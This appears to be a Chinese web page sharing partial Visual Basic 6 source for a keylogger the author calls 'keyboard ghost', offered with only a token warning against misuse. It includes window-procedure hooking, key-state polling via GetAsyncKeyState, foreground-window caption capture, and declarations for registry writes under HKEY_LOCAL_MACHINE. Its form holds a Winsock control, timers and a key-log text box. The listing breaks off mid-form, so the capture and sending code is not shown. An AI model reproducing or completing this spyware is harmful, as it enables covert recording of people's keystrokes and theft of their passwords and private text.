|
这个是我写的一个类似键盘幽灵的程序，大家自己看看吧。晚上无聊写的，不要拿来做坏事呀。
mcommon.bas
attribute vb_name = "mfuncation"
'设置钩子
public function hook(byval hwnd as long)
'监视所有消息
'设置子分类
lpprevwndproc = setwindowlong(hwnd, gwl_wndproc, addressof windowproc)
end function
'卸载钩子
public sub unhook(byval hwnd as long)
'卸载子分类
call setwindowlong(hwnd, gwl_wndproc, lpprevwndproc)
end sub
'设置caps键和numlock键的状态为开
public function capslockon() as boolean
static binit as boolean
static bon as boolean
if not binit then
while getasynckeystate(vk_capital)
wend
bon = getkeystate(vk_capital)
binit = true
else
if getasynckeystate(vk_capital) then
while getasynckeystate(vk_capital)
doevents
wend
bon = not bon
end if
end if
capslockon = bon
end function
'取得一个窗体的标题
public function getcaption(windowhandle as long) as string
dim strbuffer as string, lngtextlength as long
lngtextlength = getwindowtextlength(windowhandle)
strbuffer = string(lngtextlength, 0)
call getwindowtext(windowhandle, strbuffer, lngtextlength + 1)
getcaption$ = strbuffer
end function
function windowproc(byval hw as long, byval umsg as long, byval wparam as long, byval lparam as long) as long
windowproc = callwindowproc(lpprevwndproc, hw, umsg, wparam, lparam)
end function
mapi.bas
attribute vb_name = "mapi"
'申明api
declare function callwindowproc lib "user32" alias "callwindowproca" (byval lpprevwndfunc as long, byval hwnd as long, byval msg as long, byval wparam as long, byval lparam as long) as long
declare function setwindowlong lib "user32" alias "setwindowlonga" (byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long
declare function getasynckeystate lib "user32" (byval vkey as long) as integer
declare function getkeystate lib "user32" (byval nvirtkey as long) as integer
declare function regopenkeyexa lib "advapi32.dll" (byval hkey as long, byval lpsubkey as string, byval uloptions as long, byval samdesired as long, phkresult as long) as long
declare function regsetvalueexa lib "advapi32.dll" (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, byval lpvalue as string, byval cbdata as long) as long
declare function regclosekey lib "advapi32.dll" (byval hkey as long) as long
declare function getforegroundwindow lib "user32.dll" () as long
declare function getwindowtext lib "user32" alias "getwindowtexta" (byval hwnd as long, byval lpstring as string, byval cch as long) as long
declare function getwindowtextlength lib "user32" alias "getwindowtextlengtha" (byval hwnd as long) as long
'申明常数
const vk_capital = &h14
const reg as long = 1
const hkey_local_machine as long = &h80000002
const hwnd_topmost = -1
const swp_nomove = &h2
const swp_nosize = &h1
const flags = swp_nomove or swp_nosize
const gwl_wndproc = -4
frmmain.frm
version 5.00
object = "{f9043c88-f6f2-101a-a3c9-08002b2f49fb}#1.2#0"; "comdlg32.ocx"
object = "{3b7c8863-d78f-101b-b9b5-04021c009402}#1.2#0"; "richtx32.ocx"
object = "{248dd890-bb45-11cf-9abc-0080c7e7b78d}#1.0#0"; "mswinsck.ocx"
begin vb.form frmmain
borderstyle = 1 'fixed single
caption = "键盘幽灵-vb版"
clientheight = 4305
clientleft = 45
clienttop = 435
clientwidth = 6750
icon = "frmmain.frx":0000
linktopic = "form1"
maxbutton = 0 'false
minbutton = 0 'false
scaleheight = 4305
scalewidth = 6750
startupposition = 3 '窗口缺省
begin vb.checkbox chkshowform
caption = "实现出现运行设置窗体"
enabled = 0 'false
height = 255
left = 3000
tabindex = 15
top = 1920
width = 2175
end
begin mswinsocklib.winsock winsock1
left = 720
top = 120
_extentx = 741
_extenty = 741
_version = 393216
end
begin vb.timer timer2
enabled = 0 'false
interval = 20000
left = 5520
top = 3360
end
begin vb.timer timer1
enabled = 0 'false
interval = 1
left = 5160
top = 3360
end
begin vb.commandbutton cmdexit
caption = "退出"
height = 375
left = 4800
tabindex = 14
top = 3840
width = 975
end
begin richtextlib.richtextbox txtkeylog
height = 735
left = 4080
tabindex = 13
本文关键：键盘幽灵 Hook UnHook GetAsyncKeyState
本站最佳浏览方式为 分辨率 1024x768 IE 6.0（或更高版本的 IE浏览器） 
|